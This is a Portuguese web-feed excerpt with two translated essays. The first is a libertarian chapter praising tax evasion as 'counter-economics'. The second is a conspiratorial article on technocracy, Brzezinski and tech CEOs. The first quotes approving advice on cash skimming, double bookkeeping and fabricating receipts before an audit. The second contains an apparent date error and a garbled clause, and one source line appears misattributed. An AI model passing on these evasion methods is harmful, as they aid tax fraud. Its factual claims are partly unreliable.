&lt;p>Finalmente, nada é um fenômeno popular se não for relatado na revista People. Então, em setembro de 1979, página 30, uma foto de página inteira de Richard Fogel, do General Accounting Office, com a legenda “Se o governo não agir, a integridade de todo o nosso sistema tributário pode ser ameaçada”, é intitulada “Um Novo Estudo dos EUA Sobre a Evasão de Impostos é Outro Motivo para Gritar: Estou Louco Como o Inferno e Não Vou Aceitar Mais Isso. ”&lt;/p>
&lt;p>Algo está acontecendo aqui. Algo que não parece ser a “rebelião fiscal” dos advogados constitucionais amadores. O que isso parece ser é um grande sucesso e muito irritante para o Estado, seu sistema e seus defensores.&lt;/p>
&lt;p>&lt;strong>O Que É a “Economia Subterrânea”&lt;/strong>&lt;/p>
&lt;p>“Economia Subterrânea” evoca uma visão de alguma subsociedade interna à sociedade em geral, com consciência, organização estruturada e uma subcultura de costumes, tradições e talvez até arte e literatura. A imagem do shopping center subterrâneo em Alongside Night (Crown, 1979), de J. Neil Schulman, caberia. Mas isso se passa em 2001 - ficção especulativa - e ninguém afirma que tal subsociedade existe hoje. Além disso, Schulman está falando sobre a Contra-Economia, algo que contém muito mais do que evasão fiscal. Então, qual é a atual “economia subterrânea” e qual é sua relação com a contra-economia, se houver?&lt;/p>
&lt;p>O US News &amp;amp; World Report dá a definição mais ampla das fontes acima e da maioria dos exemplos: “Em resumo, a economia subterrânea envolve toda a atividade econômica levada a cabo todos os dias que, por uma variedade de razões, escapa da tabulação dos pesquisadores da economia oficial do país - desde trabalho clandestino e vendas em barracas de frutas à beira da estrada até tramóias corporativas de alto nível e operações multimilionárias de extração em cassinos de jogos de azar. ” Até agora, é amplo o suficiente para abranger a Contra-Economia. Mas então, o U.S. News restringe: “Esta ‘força de trabalho’ é dominada por trabalhadores autônomos - de advogados, médicos e contadores a lojistas e comerciantes - e pelos trabalhadores pobres. Mas também inclui muitos outros segmentos da sociedade - aqueles que, entre outras coisas, aumentam as deduções fiscais ou não relatam juros, dividendos, aluguéis ou receita de royalties. ”&lt;/p>
&lt;p>A contra-economia inclui todos. (Ver capítulos posteriores para uma prova.) Ou seja, uma atividade contra-econômica é qualquer ação humana que ocorre sem a aprovação do Estado. E uma vez que as leis cobrem quase todos os empreendimentos humanos, muitas vezes proibindo tanto a ação quanto sua correspondente inação, todos, pelo menos em um pequeno grau, devem desviar ou quebrar as leis simplesmente para existir.&lt;/p>
&lt;p>O U.S. News vê consideravelmente menos pessoas em sua &amp;ldquo;economia subterrânea&amp;rdquo;. “De pequenas e grandes maneiras, provavelmente 15 a 20 milhões de americanos estão envolvidos, diz Allen R. Voss, que supervisionou um estudo do problema pelo General Accounting Office. Destes, cerca de 4,5 milhões derivam todo o seu sustento de receitas subterrâneas, de acordo com Peter M. Gutmann, professor de economia da City University of New York. ” Em suma, a “Economia Subterrânea” é o setor da Contra-Economia mais fortemente comprometido com os violadores de impostos.&lt;/p>
&lt;p>Quem são os isentos de impostos? Vários exemplos, desde viúvas faxineiras a alfaiates donas de casa e agricultores que vendem vegetais à beira de estradas são dados. Este pode ser arquetípico:&lt;/p>
&lt;blockquote>
&lt;p>“Uma atriz de 24 anos em dificuldades na cidade de Nova York tem três empregos para sobreviver: ela trabalha como bartender, um trabalho que lhe paga de $30 a $35 por dia, incluindo gorjetas; ajuda na joalheria de seu pai aos sábados e aparece ocasionalmente em sua própria apresentação de cabaré em uma casa noturna de Greenwich Village.&lt;/p>
&lt;p>Todos os trabalhos dela estão fora dos livros. Em outras palavras, seus empregadores não retém nenhum imposto de seu salário e não contribuem para a Previdência Social ou seguro-desemprego como são obrigados a fazer. &amp;lsquo;Estou completamente no subsolo&amp;rsquo;, diz ela. ‘Não há registros de nada que eu esteja fazendo.’&lt;/p>
&lt;p>Ela não demonstra culpa ou arrependimento por sua falha em prestar contas ao Estado por sua ação. Uma nota melancólica é feita pela faxineira. “&amp;lsquo;À medida que fico mais velha&amp;rsquo;, diz ela, &amp;rsquo;estou começando a pensar, talvez eu devesse ter feito meu pessoal pagar o Seguro Social para mim. Mas assim eu não pago impostos, nada. &amp;lsquo;”&lt;/p>
&lt;/blockquote>
&lt;p>Embora o conceito de &amp;ldquo;economia subterrânea&amp;rdquo; seja fortemente voltado para a evasão fiscal, a interconexão com outras atividades contra-econômicas, como evasão da Previdência Social, evasão das regulamentações trabalhistas, descumprimento da inspeção de saúde e segurança e imigração ilegal é óbvia.&lt;/p>
&lt;p>A “Economia Subterrânea” conforme definida pelo IRS, et al., No máximo inclui nossa atriz e seus empregadores. Mas lembre-se, qualquer pessoa que lida com ela e está ciente de suas atividades ilegais é um cúmplice e co-conspirador. Assim, todos os seus amigos, parentes, colegas de trabalho e provavelmente muitos de seus clientes, outros atores dramáticos e até mesmo os beberrões estão envolvidos na Contra-Economia. Este efeito “cascata” é característico da Contra-Economia; não é necessário insistir em seu efeito sobre a majestade e autoridade do Estado, seus agentes e burocratas, ou mesmo naqueles que estão perifericamente envolvidos.&lt;/p>
&lt;p>Todo trabalho ou empresa não estatal é capaz de se contra-economizar em algum grau. Algumas indústrias parecem ter uma afinidade maior com a Contra-Economia do que outras. U.S. News investiga os setores comerciais que, para manter a metáfora, têm uma tendência a &amp;ldquo;submergir&amp;rdquo;. Na liderança está aquele conjunto heterogêneo de oportunidades de emprego conhecido como trabalho clandestino.&lt;/p>
&lt;p>“Toda uma panóplia de muambeiros labuta na economia subterrânea. Um desses homens, um jovem músico de Nova York, ganhou US $7.500 - quase tudo em dinheiro - dando aulas de violão no ano passado. Mas ele não declarou nada disso na declaração conjunta que apresentou à esposa. Ele não listou a renda, diz ele, em parte por necessidade e em parte por raiva. Seus pais pagavam altos impostos durante anos, diz ele, mas foram negados empréstimos do governo e bolsas disponíveis para outras pessoas para ajudar nas despesas da faculdade porque a renda de seus pais era muito alta. ” A conexão entre o ressentimento anti-estado e a motivação contra-econômica é indicativa do libertarianismo implícito da Contra-Economia; o fato de permanecer desfocado - atualmente - pode muito bem interessar aos estrategistas libertários.&lt;/p>
&lt;p>“Um muambeiro em Indiana trabalha em uma oficina de máquinas-ferramenta durante a semana e supervisiona uma instalação privada de eliminação de lixo nos fins de semana, onde ele recebe cerca de US $100 em renda não declarada a cada semana.” Embora contra-economistas radicais sejam mais comuns do que o esperado (por exemplo, a atriz e o músico acima), a maioria das pessoas é parcialmente contra-econômica.&lt;/p>
&lt;p>“Milhões que trabalham em empregos regulares, mas não estão sujeitos à retenção de impostos - professores, motoristas de táxi, vendedores porta-a-porta, pesquisadores, agentes de seguros e corretores de imóveis, entre eles - são acusados por oficiais de serem um elemento importante na economia subterrânea. Cerca de 47 por cento não informam seus ganhos, afirma o IRS. ” Curiosamente, o U.S. News não menciona garçonetes e garçons em qualquer lugar de seu artigo; uma omissão surpreendente considerando o tamanho daquele Exército de Amazonas (em grande parte feminino) com gorjetas em grande parte não relatadas.&lt;/p>
&lt;p>&lt;strong>Como os Isentos de Impostos da Contra-Economia Fazem Isso&lt;/strong>&lt;/p>
&lt;p>Como funciona? Fundamentalmente, como o IRS admite de maneira irônica, o imposto de renda é baseado no cumprimento voluntário. Onde a conformidade ocorre, ela obscurece, é nas informações sobre, não na coleta de, sua pilhagem. Para ser simples e direto, você precisa se entregar (ou pedir a alguém de sua confiança que faça isso por você) para ser tributado. Quebrar o acesso do Estado às informações sobre suas vítimas é um princípio geral da mecânica contra-econômica; o outro método envolve deixá-los saber quando estão impotentes para agir - o que funciona em certos campos, mas dificilmente é &amp;ldquo;subterrâneo&amp;rdquo;.&lt;/p>
&lt;p>Este é então o verdadeiro significado de &amp;ldquo;subterrâneo&amp;rdquo; neste contexto - fora da &amp;ldquo;visão&amp;rdquo; dos informantes e executores do Estado. Como isso funciona na prática do dia a dia?&lt;/p>
&lt;p>Quase todos os exemplos dados usam dinheiro - e cumplicidade. O dinheiro não pode ser rastreado; com efeito, mesmo que o Estado suspeite, enquanto eles tiverem o sistema jurídico vigente, eles não podem provar ou condenar. Eles precisam de registros - e testemunho. A cumplicidade é, obviamente, comprada com desconto. (Em alguns casos raros, especialmente com artistas, artesãos e contrabandistas de drogas especiais, a cumplicidade pode ser adquirida pela exclusividade do produto; ou seja, você não pode obtê-lo exceto por um acordo clandestino.)&lt;/p>
&lt;p>Outro método, entretanto, opera pelo método inverso - sem dinheiro. Diz o U.S. News: “As transações de permuta são consideradas outra fonte considerável de receita não tributada. Um advogado de Flint, Michigan, recebeu um aparador antigo de US $300 de um residente local que ele representou em um caso de pensão alimentícia. O advogado frequentemente troca serviços com seus clientes, mas não informa como receita o valor dos itens que recebe. &amp;lsquo;Não me sinto culpado pelo que faço,&amp;rsquo; diz ele. ‘O governo está me roubando.’ ”Mais uma vez, vemos o ressentimento anti-estado justificando a ilegalidade - e o efeito cascata na “contaminação” por esse advogado de uma cidade inteira cheia de clientes com cumplicidade contra-econômica.&lt;/p>
&lt;p>“Outro homem, um ilustrador comercial e redator autônomo de Chicago que está farto de impostos altos, diz que faz poucos negócios à vista, mas faz muitas trocas. Ele escreve textos publicitários para uma loja de bebidas em troca de bebidas alcoólicas de que precisa para se entreter e faz ilustrações para uma agência de publicidade em troca de serviços tipográficos. Ele calcula que a troca é responsável por 5 a 10 por cento de seus negócios. ” O empreendimento subterrâneo - como o padrão &amp;lsquo;sobreterrâneo&amp;rsquo; - parece limitado apenas pela engenhosidade. Claro, a &amp;ldquo;economia &amp;lsquo;sobreterrânea&amp;rsquo;&amp;rdquo; também é limitada pelo controle e regulamentos do Estado.&lt;/p>
&lt;p>Ah, sim, como esse artista se sente sobre suas atividades fora da lei? “‘ Essas negociações acontecem com tanta frequência, em um nível econômico baixo, que não consigo controlar a frequência com que faço isso ’, diz ele. Esconder-se do coletor de impostos o teria incomodado alguns anos atrás. Já não mais. ‘Agora penso nisso em termos de sobrevivência econômica. A tributação se tornou um roubo legalizado. &amp;lsquo;” Ele soa como um libertário ideológico.&lt;/p>
&lt;p>Além desses dois métodos de manter a renda “fora dos livros” para mantê-la longe dos fiscais, outro método é manipular os próprios livros. Um grupo de aposentados coleta prêmios em pistas de corrida para grandes apostadores e, em seguida, os entrega a seus patrocinadores, que evitam níveis de renda elevados. As contas de despesas podem absorver e absorvem todos os tipos de transações que devem ser mantidas fora dos livros de receitas pessoais. “Skimming” é quase universal em pequenas lojas, empresas de fachada e táxis: manter uma parte da coleta de cada dia sem declará-la. Um joalheiro entrevistado pelo U.S. News faz negócios no valor de US $10 milhões por ano, 25 a 30 por cento deles em dinheiro vivo. “Ele diz que acha que 10 a 20 por cento de toda a renda gerada‘ nas ruas ’não é declarada.” Enorme.&lt;/p>
&lt;p>E ele se parece com Ayn Rand:&lt;/p>
&lt;blockquote>
&lt;p>“Comecei do nada e construí um negócio de milhões. O governo começou com bilhões e eles continuam endividados. Eles simplesmente desperdiçam o dinheiro. ”&lt;/p>
&lt;/blockquote>
&lt;p>E, finalmente, pode-se simplesmente dobrar os livros, um para você e outro para o Estado:&lt;/p>
&lt;blockquote>
&lt;p>“Uma cabeleireira de Houston mantém dois conjuntos de livros, um para si, outro para o IRS. A maioria dos negócios é em dinheiro; ela embolsa cerca de um terço disso, ou US $200 por semana, sem relatar. ”&lt;/p>
&lt;/blockquote>
&lt;p>Um último exemplo do U.S. News reúne tudo isso:&lt;/p>
&lt;blockquote>
&lt;p>“Um comerciante da Califórnia que se gaba de não pagar 1 por cento do imposto de renda em cinco anos oferece este conselho sobre como fazer o skimming: ‘O mais importante é a consistência. Se você ocultar, oculte a mesma quantidade a cada ano. Se você deixar um ano passar sem tirar nada e depois tirar 20 por cento no próximo, você será pego’.&lt;/p>
&lt;p>Mesmo uma auditoria do IRS não significa o fim do mundo. Normalmente, você é notificado com antecedência. Tudo o que você precisa fazer é comprar alguns livros de recibos novos e ajustá-los aos seus números. Contanto que os recibos sejam numerados consecutivamente e os números coincidem, você está OK. Na verdade, o ano em que enganei o governo foi o ano em que fui auditado. O resultado foi que o inspetor acabou me parabenizando pela excelente situação em que meus registros estavam. Trair o governo é tão fácil que é lamentável. ”&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>O que causa a “economia subterrânea”?&lt;/strong>&lt;/p>
&lt;p>A Contra-Economia existe porque o Estado existe. Toda intervenção do Estado no livre mercado desloca a oferta da demanda. Além de ser a maldição coercitiva que os libertários denunciam, cada intervenção cria uma oportunidade econômica para um empreendedor descobrir como atender à demanda que o Estado proíbe ou como atendê-la de maneira mais barata ilegalmente.&lt;/p>
&lt;p>No caso especial da “economia subterrânea” sem impostos, todo imposto é um desafio. Vamos dar uma olhada na cidade de Nova York. Diz o US News:&lt;/p>
&lt;blockquote>
&lt;p>“O mercado negro de cigarros piratas na cidade de Nova York, que segundo algumas estimativas responde por até metade de todas as vendas do produto no município, neste momento pode estar negando à metrópole e ao estado &amp;lsquo;centenas de milhões de dólares por ano&amp;rsquo; em receita, diz David Durk, comissário assistente de fiscalização do Departamento de Finanças da cidade. A razão para o crescente mercado de contrabando: o alto imposto de consumo, que totaliza 23 centavos o pacote ”.&lt;/p>
&lt;/blockquote>
&lt;p>Único? Leia. “O imposto sobre vendas relativamente alto de Nova York, de 8%, representa outro problema. É comum que os comerciantes soneguem 20% dele, diz o economista Gutmann ”. E apenas em Nova York? “Um especialista em impostos sobre vendas, John F. Due, professor de economia da Universidade de Illinois, diz que de 3 a 5% do total de impostos sobre vendas devidos em todo o país, ou até 2 bilhões por ano, escapa da cobrança.”&lt;/p>
&lt;p>Um segundo artigo do U.S. News, logo após, &amp;ldquo;Trapaça nos Impostos – Uma Perseguição Mundial&amp;rdquo;, documenta números semelhantes e ajustados para as práticas culturais locais, em todo o mundo. &amp;ldquo;Schwarzarbeit&amp;rdquo; na Alemanha, &amp;ldquo;Travail Noir&amp;rdquo; na França, “Fiddlers” na Grã-Bretanha e &amp;ldquo;Morocho&amp;rdquo; na Argentina são termos cunhados para lidar com trabalho negro e dinheiro negro. “A economia subterrânea da Itália está crescendo tão rapidamente que o governo agora a inclui no planejamento econômico.” Funcionários do governo argentino “estimam que até 40% de todos os negócios estão envolvidos”. Japão, Suécia e Canadá estão cobertos, e “Economistas na Tailândia levantam as mãos quando solicitados a estimar quanto os impostos não cobrados estão custando ao governo. ‘Quem sabe?’ É a resposta mais frequente. ” Veremos a Contra-Economia Internacional em detalhes no próximo capítulo.&lt;/p>
&lt;p>&lt;strong>Deveria Haver uma “Economia Subterrânea?”: Críticos e Defensores&lt;/strong>&lt;/p>
&lt;p>Existe uma Contra-Economia, em particular o setor envolvido com a evasão fiscal, e é vasta. Foi “descoberta” e batizada por este autor, falando para libertários radicais, em 1974. Agora a parte “subterrânea”, pelo menos, foi descoberta por outros e eles não a aprovam. Ao deixar a teoria e a justificativa para o final como prometido, acho que posso aguçar o apetite do leitor ao antecipar o debate entre os libertários e os escritores do Establishment apenas sobre a questão tributária.&lt;/p>
&lt;p>Ambos os campos concordam que uma sociedade perfeita não teria uma Contra-Economia, ou qualquer parte dela. O que eles discordam é que os libertários veem a Contra-Economia como aquela sociedade perfeita em um embrião lutando para eclodir; a oposição vê isso como uma praga e um tumor feio mais ou menos aceitável no corpo político.&lt;/p>
&lt;p>Os defensores e planejadores do estado de bem-estar social não gostam disso. Diz o U.S. News: “Os programas governamentais estão perturbados pela economia subterrânea. Por causa de empregos e renda não regulamentados, as leituras de estatísticas do governo - cujos números podem desencadear aumentos automáticos no custo de vida ou injetar bilhões de dólares de adrenalina fiscal na economia quando o desemprego aumenta - podem estar defasadas com o que realmente está acontecendo . O desemprego, por exemplo, na verdade pode ser quase meio ponto percentual menor do que indicam os números oficiais, diz um economista que o estudou, e o número de pobres é um pouco menor ”. Os libertários apontariam que talvez a Contra-Economia pudesse absorver todos os desempregados, especialmente quando o Estado quebra em uma inflação galopante ou depressão catastrófica - que resulta dos próprios controles do Estado.&lt;/p>
&lt;p>Ernest Conine, do L.A. Times, coloca desta forma: “Em um mundo perfeito, todas as desigualdades desapareceriam. Enquanto se aguarda aquele dia improvável, no entanto, as reclamações que todos nós temos sobre o governo dificilmente constituem uma desculpa válida para trapacear nos impostos. ” Talvez não, mas o que Conine acha que há de errado nisso? “Afinal, quando um pintor de paredes ou um advogado informa apenas a metade de sua renda, ele não está prejudicando David Rockefeller, o Pentágono, Jimmy Carter, a Suprema Corte dos EUA ou o grande sonegador de impostos.” Por que alguns ou todos eles deveriam ser prejudicados seria muito esclarecedor, se explicado por um editor do Los Angeles Times. Infelizmente, não: tal análise é presumida. E, além disso, Conine está factualmente errado, 180 ° fora do lugar. Uma vez que todos aqueles – exceto o &amp;ldquo;grande sonegador&amp;rdquo; – vivem dos impostos do estado, há um bolo muito menor para eles dividirem. Se toda a economia tornar-se “clandestina”, todos os mencionados iriam à bancarrota.&lt;/p>
&lt;p>Quem o contra-economista está prejudicando, segundo Conine? “Ele está prejudicando o cara da rua que trabalha por um salário justo e não tem como escapar dos impostos, mesmo que quisesse, e, portanto, deve pagar sua parte na carga tributária e também na fraude fiscal.” Mais uma vez, Conine está errado; se sua teoria econômica se sustentar, então se todos evitassem os impostos, exceto um azarado, ele suportaria toda a carga tributária. Há alguma “elasticidade” para a “oferta” tributária, mas nada na ordem de 20-30% da economia. O estado está simplesmente arrecadando menos impostos - ponto final.&lt;/p>
&lt;p>Conine culpa a &amp;ldquo;fraude fiscal&amp;rdquo; pelo aumento dos impostos e conclui:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;De alguma forma, este é um caso em que muitas pessoas instintivamente ficam do lado não dos policiais, mas dos ladrões &amp;hellip; A maioria de nós parece determinada a continuar olhando para os triviais fraudadores fiscais com uma tolerância estupefata - mesmo jogando seu jogo com pagamentos em dinheiro por serviços prestados fora dos livros - sem levar em conta o fato de que eles estão colocando sua parte justa da carga tributária sobre nossos ombros. ”&lt;/p>
&lt;/blockquote>
&lt;p>Mais adiante no livro, o “cara com o salário justo” encontrará mais maneiras, se ele ainda não pegou várias, de como ele pode se juntar aos isentos de impostos. Um capítulo tratará do medo de Brown, do Pacific News Service, da exploração ilegal de estrangeiros e da falta de segurança, a vasta literatura já existente sobre a economia de livre mercado responde aos temores de Sylvia Porter do colapso da sociedade e do colapso do Estado na sociedade, que é, como a Contra-Economia pode se expandir para esmagar a economia do Estado e criar uma sociedade livre, e vendê-la para um povo oprimido e raivoso que já está lutando contra os limites de seu entendimento, será tratado no capítulo final do livro .&lt;/p>
&lt;p>Que parcela justa da carga tributária, se houver, nos leva à teoria, que está sendo adiada. Basta dizer aqui que, se Conine acredita que uma sociedade relativamente livre de pessoas tem o direito de escolher seu próprio nível de tributação, com ou sem representação, ele deve dar as boas-vindas àqueles que estão efetivamente fazendo essa escolha. Mas não são apenas as pessoas relativamente livres nos Estados Unidos que podem fazer essa escolha por meio da Contra-Economia. Agora vamos nos voltar para o resto do mundo.&lt;/p>
&lt;p>[Continua…]&lt;/p>
&lt;p>&lt;strong>Notas do Tradutor:&lt;/strong>&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Internal Revenue Service (IRS) é o equivalente americano à Receita Federal.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A expressão tigre de papel (tradução literal da expressão chinesa &amp;ldquo;zhǐ lǎohǔ&amp;rdquo; - 紙老虎) designa algo que é aparentemente ameaçador mas, na realidade, é inofensivo. A expressão, antiga na cultura chinesa, tornou-se célebre após uma entrevista de Mao Tsé-tung à jornalista norte-americana Anna Louise Strong, em 1956, na qual o líder chinês usou a expressão para qualificar Chiang Kai-shek e os Estados Unidos. O uso da metáfora &amp;ldquo;tigre de papel&amp;rdquo; é desde então muito comum nas línguas ocidentais.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Offshore é o nome comum dado às contas bancárias abertas em territórios onde há menor tributação (os famigerados &amp;ldquo;paraísos fiscais&amp;rdquo;).&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>O Que é Tecnocracia</title><link>https://cypherpunks.com.br/documentos/o-que-e-tecnocracia/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-que-e-tecnocracia/</guid><description>No início do século 20, um movimento começou a se desenvolver em torno de uma teoria política conhecida como Tecnocracia, um sistema em que a gestão de governos é feita por especialistas técnicos, muitas vezes envolvendo soluções focadas em tecnologia. Os defensores da Tecnocracia afirmaram que o conceito levaria a uma melhor gestão dos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>&lt;/p>
&lt;p>O artigo a seguir foi traduzido para o português, a partir do original em inglês, escrito por Derrick Broze.&lt;/p>
&lt;p>No início do século 20, um movimento começou a se desenvolver em torno de uma teoria política conhecida como Tecnocracia, um sistema em que a gestão de governos é feita por especialistas técnicos, muitas vezes envolvendo soluções focadas em tecnologia. Os defensores da Tecnocracia afirmaram que o conceito levaria a uma melhor gestão dos recursos e proteção do planeta. No entanto, este sistema de governança por especialistas em tecnologia e sua tecnologia também envolveria uma perda de privacidade, centralização e gerenciamento de todo o comportamento humano. Embora o termo pareça ter sido amplamente esquecido, a filosofia tecnocrática e sua influência podem ser vistas em todo o nosso mundo digital moderno.&lt;/p>
&lt;p>Um dos defensores mais influentes da Tecnocracia foi um homem chamado Howard Scott, um escritor que fundou a Technical Alliance na cidade de Nova York em 1919. Scott acreditava que os proprietários de negócios não tinham as habilidades e dados necessários para reformar seus setores e, portanto, o controle deveria ser entregue para engenheiros. Em 1932, Scott e seu colega tecnocrata Walter Rautenstrauch formaram o &amp;ldquo;Comitê de Tecnocracia&amp;rdquo; na Universidade de Columbia. O grupo acabaria se separando, com Scott liderando a Technocracy Incorporated e o tecnocrata Harold Loeb no comando do Comitê Continental de Tecnocracia.&lt;/p>
&lt;p>Em 1938, a Technocracy Incorporated lançou uma publicação que delineou sua visão para uma Tecnocracia (ênfase minha):&lt;/p>
&lt;blockquote>
&lt;p>“A tecnocracia é a ciência da engenharia social, a operação científica de todo o mecanismo social de produção e distribuição de bens e serviços a toda a população deste continente. Pela primeira vez na história da humanidade, isso será tratado como um problema científico, técnico e de engenharia. Não haverá lugar para Políticas ou Políticos, Finanças ou Financiadores, Baderna ou Baderneiros. A tecnocracia afirma que este método de operar o mecanismo social do continente norte-americano é agora obrigatório porque passamos de um estado de real escassez para o estado atual de abundância potencial em que estamos agora sujeitos a uma escassez artificial que nos é imposta a fim de continuar um Sistema de Preços que só pode distribuir bens por meio de troca. A tecnocracia afirma que preço e abundância são incompatíveis; quanto maior a abundância, menor o preço. Em uma abundância real, não pode haver preço algum. Somente abandonando a interferência e o controle de preços - e substituindo-os por um método científico de produção e distribuição - poderá ser alcançada a abundância. A tecnocracia distribuirá por meio de um certificado de distribuição à disposição de cada cidadão, do nascimento à morte. O Technate abrangerá todo o continente americano, do Panamá ao Pólo Norte, porque os recursos naturais e os limites naturais dessa área a tornam uma unidade geográfica independente e autossustentável. &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;p>Os tecnocratas divulgaram sua visão de um mundo centralmente planejado com livros, discursos, clubes e partidos políticos. Isso resultou em um breve período de popularidade nos Estados Unidos e Canadá nos anos que se seguiram à Grande Depressão de 1929. Enquanto políticos e economistas buscavam uma solução para a calamidade financeira, os tecnocratas imaginavam um mundo em que políticos e empresários fossem substituídos por cientistas , engenheiros e outros especialistas técnicos para gerenciar a economia.&lt;/p>
&lt;p>No entanto, na década de 1940, o interesse dominante no movimento da Tecnocracia pareceu se dissipar. Alguns pesquisadores atribuem isso à falta de uma teoria política coerente para conseguir mudanças, enquanto outros dizem que o presidente Roosevelt e o New Deal forneceram uma solução alternativa para as dificuldades financeiras. Independentemente disso, a Tecnocracia deixou de ser um tópico do discurso político dominante, mesmo quando a revolução industrial estimulou novas tecnologias e riquezas nunca vistas para aqueles que controlavam essa tecnologia.&lt;/p>
&lt;p>As ideias que sustentavam a visão tecnocrática receberam um endosso notável em 1970, quando o cientista político Zbigniew Brzezinski lançou seu livro Between Two Ages: America&amp;rsquo;s Role in the Technetronic Era. Brzezinski é conhecido por pesquisadores de longa data da elite governante. Até sua morte em 2018, Brzezinski era um diplomata que fazia parte dos mesmos círculos do ex-secretário de Estado e acusava os criminosos de guerra Henry Kissinger e David Rockefeller. Brzezinski serviu como conselheiro de vários presidentes - de Jimmy Carter a Barack Obama. Brzezinski também foi membro do Atlantic Council, do National Endowment for Democracy e do Council on Foreign Relations.&lt;/p>
&lt;p>O livro Entre Duas Idades, de Brzezinski, pode ter mudado o termo de &amp;ldquo;Tecnocracia&amp;rdquo; para &amp;ldquo;Tecnetrônica&amp;rdquo;, mas a descrição do futuro é a mesma: um mundo no qual a elite científica e tecnológica planeja centralmente as vidas de toda a humanidade. Essencialmente, um coletivismo-autoritário tecnologicamente avançado, onde as liberdades individuais estão subordinadas às necessidades aparentes do coletivo. Brezinski explica a Tecnetrônica da seguinte maneira:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;A sociedade pós-industrial está se tornando uma sociedade &amp;ldquo;tecnetrônica&amp;rdquo;: uma sociedade que é moldada culturalmente, psicologicamente, socialmente e economicamente pelo impacto da tecnologia e da eletrônica - especialmente na área de computadores e comunicações. O processo industrial não é mais o principal determinante da mudança social, alterando os costumes, a estrutura social e os valores da sociedade …&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Na sociedade Tecnetrônica, o conhecimento científico e técnico, além de aumentar as capacidades de produção, rapidamente transborda e afeta quase todos os aspectos da vida de forma direta. Consequentemente, tanto a capacidade crescente de cálculo instantâneo das interações mais complexas quanto a disponibilidade crescente de meios bioquímicos de controle humano aumentam o escopo potencial da direção escolhida conscientemente e, portanto, também as pressões para direcionar, escolher e mudar. &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;p>Aqui estão mais algumas citações de Entre Duas Idades: O Papel da América na Era Tecnetrônica, que deixam claro que o objetivo é construir uma Tecnocracia global:&lt;/p>
&lt;blockquote>
&lt;p>“Outra ameaça, menos evidente, mas não menos básica, confronta a democracia liberal. Mais diretamente ligada ao impacto da tecnologia, envolve o surgimento gradual de uma sociedade mais controlada e dirigida. Tal sociedade seria dominada por uma elite cuja reivindicação ao poder político repousaria sobre um conhecimento científico supostamente superior. Desimpedida pelas restrições dos valores liberais tradicionais, essa elite não hesitaria em atingir seus fins políticos usando as técnicas modernas mais recentes para influenciar o comportamento público e manter a sociedade sob estreita vigilância e controle. Sob tais circunstâncias , o ímpeto científico e tecnológico do país não seria revertido, mas na verdade se alimentaria da situação que explora. &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&amp;ldquo;Crise social persistente, o surgimento de uma personalidade carismática e a exploração dos meios de comunicação de massa para obter a confiança do público seriam os degraus na transformação gradativa dos Estados Unidos em uma sociedade altamente controlada.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>“Hoje estamos testemunhando o surgimento de elites transnacionais, mas agora elas são compostas por empresários internacionais, acadêmicos e funcionários públicos. Os laços dessas novas elites ultrapassam as fronteiras nacionais, suas perspectivas não são confinadas pelas tradições nacionais e seus interesses são mais funcionais do que nacionais. Cada vez mais, as elites intelectuais tendem a pensar em termos de problemas globais: a necessidade de superar o atraso, de eliminar a pobreza, de evitar a superpopulação, de desenvolver mecanismos eficazes de manutenção da paz. A preocupação com a ideologia está cedendo à preocupação com a ecologia, a poluição, a superpopulação e o controle de doenças, drogas e clima. Há um consenso generalizado de que o planejamento funcional é desejável e que é a única maneira de lidar com várias ameaças ecológicas. ”&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&amp;ldquo;A ficção da soberania claramente não é mais compatível com a realidade. Chegou a hora de um esforço comum para moldar uma nova estrutura para a política internacional. Já existe um acordo amplo sobre o desenvolvimento de forças internacionais de manutenção da paz. A consciência global emergente está forçando o abandono de preocupações com a supremacia nacional e o aumento da interdependência global. &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;p>A visão de futuro de Brzezinski não era mera especulação ou suposição. Ele era um membro da classe dominante que passou sua vida usando os estados-nação - e as pessoas dentro deles - como peões em um jogo de xadrez em que a maioria dos jogadores está perigosamente alheia à realidade que se desenrola ao seu redor. Acredito que o livro de Brzezinski descreve o mundo que está se desenrolando no início da década de 2020. Recomendo enfaticamente que mergulhe fundo em seu trabalho para obter outras percepções fascinantes sobre onde estamos e para onde podemos estar indo.&lt;/p>
&lt;p>Agora que entendemos um pouco da história da Tecnocracia e algumas das ideias que ela propôs, precisamos examinar o mundo de hoje para notar a influência Tecnocrática (ou Tecnetrônica se você preferir).&lt;/p>
&lt;p>Vamos começar examinando as empresas mais ricas e os CEOs mais influentes. Esses indivíduos dirigem empresas que acumularam grandes quantias de riqueza financeira, bem como quantidades insondáveis de dados digitais sobre todos os seus clientes. De Jeff Bezos da Amazon, Bill Gates da Microsoft, Mark Zuckerberg do Facebook, Elon Musk da Tesla e nomes menos conhecidos do Google, Apple e outros, esses são os tecnocratas do início da década de 2020. Curiosamente, Musk parece estar trilhando um caminho semelhante ao de seu avô, Joshua Haldeman, que era diretor de pesquisas da Technocracy Incorporated do Canadá e presidente nacional do Partido do Crédito Social.&lt;/p>
